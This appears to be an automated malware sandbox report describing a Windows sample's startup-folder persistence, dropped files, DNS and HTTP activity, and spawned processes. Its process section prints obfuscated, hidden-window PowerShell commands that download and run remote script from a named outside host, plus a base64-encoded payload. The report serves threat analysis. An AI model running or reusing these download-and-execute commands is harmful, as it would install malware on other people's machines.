Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- %APPDATA%\microsoft\windows\start menu\programs\startup\updateab.vbs
Malicious functions
Downloads
- https://video-cutter-online.com/download/rtz5lrqzsuvkuixr.mp3
Modifies file system
Creates the following files
- %LOCALAPPDATA%\39lozaakhg5shjqi0m0progr.exe
- %TEMP%\nsx54a6.tmp
- %TEMP%\nsh54e5.tmp\nsishelper.dll
- %TEMP%\nsh54e5.tmp\system.dll
- %TEMP%\nsh54e5.tmp\userinfo.dll
- %TEMP%\nsh54e5.tmp\nsisdl.dll
- %TEMP%\nsh54e5.tmp\inst_start.txt
- %TEMP%\nsh54e5.tmp\modern-header.bmp
- %TEMP%\nsh54e5.tmp\nsdialogs.dll
- %LOCALAPPDATA%\ma5nkzisolo.vbs
Deletes the following files
- %TEMP%\nsh54e5.tmp\inst_start.txt
Network activity
TCP
HTTP GET requests
- http://www.yt####nloader.com/images/pixel.gif?ac#########################################################################################################################################
- http://cr#.#ectigo.com/SectigoRSADomainValidationSecureServerCA.crt
- http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt
UDP
- DNS ASK yt####nloader.com
- DNS ASK ge########-impact.000webhostapp.com
- DNS ASK vi#####utter-online.com
- DNS ASK cr#.#ectigo.com
- DNS ASK microsoft.com
Miscellaneous
Creates and executes the following
- '%LOCALAPPDATA%\39lozaakhg5shjqi0m0progr.exe'
- '<SYSTEM32>\wscript.exe' "%LOCALAPPDATA%\mA5NkZisolo.vbs"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -noexit -command Invoke-Expression(New-Object Net.WebClient).(-join [char[]](68,111,119,110,108,111,97,100,83,116,114,105,110,103)).Invoke('https://geographic-impact.000webhostapp.com/4141.tx...' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -noP -sta -w 1 -enc WwBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAGIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKABOAGUAdwAt...' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -noexit -command Invoke-Expression(New-Object Net.WebClient).(-join [char[]](68,111,119,110,108,111,97,100,83,116,114,105,110,103)).Invoke('https://geographic-impact.000webhostapp.com/server/...' (with hidden window)
Executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -noexit -command Invoke-Expression(New-Object Net.WebClient).(-join [char[]](68,111,119,110,108,111,97,100,83,116,114,105,110,103)).Invoke('https://geographic-impact.000webhostapp.com/4141.tx...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -noexit -command Invoke-Expression(New-Object Net.WebClient).(-join [char[]](68,111,119,110,108,111,97,100,83,116,114,105,110,103)).Invoke('https://geographic-impact.000webhostapp.com/server/...
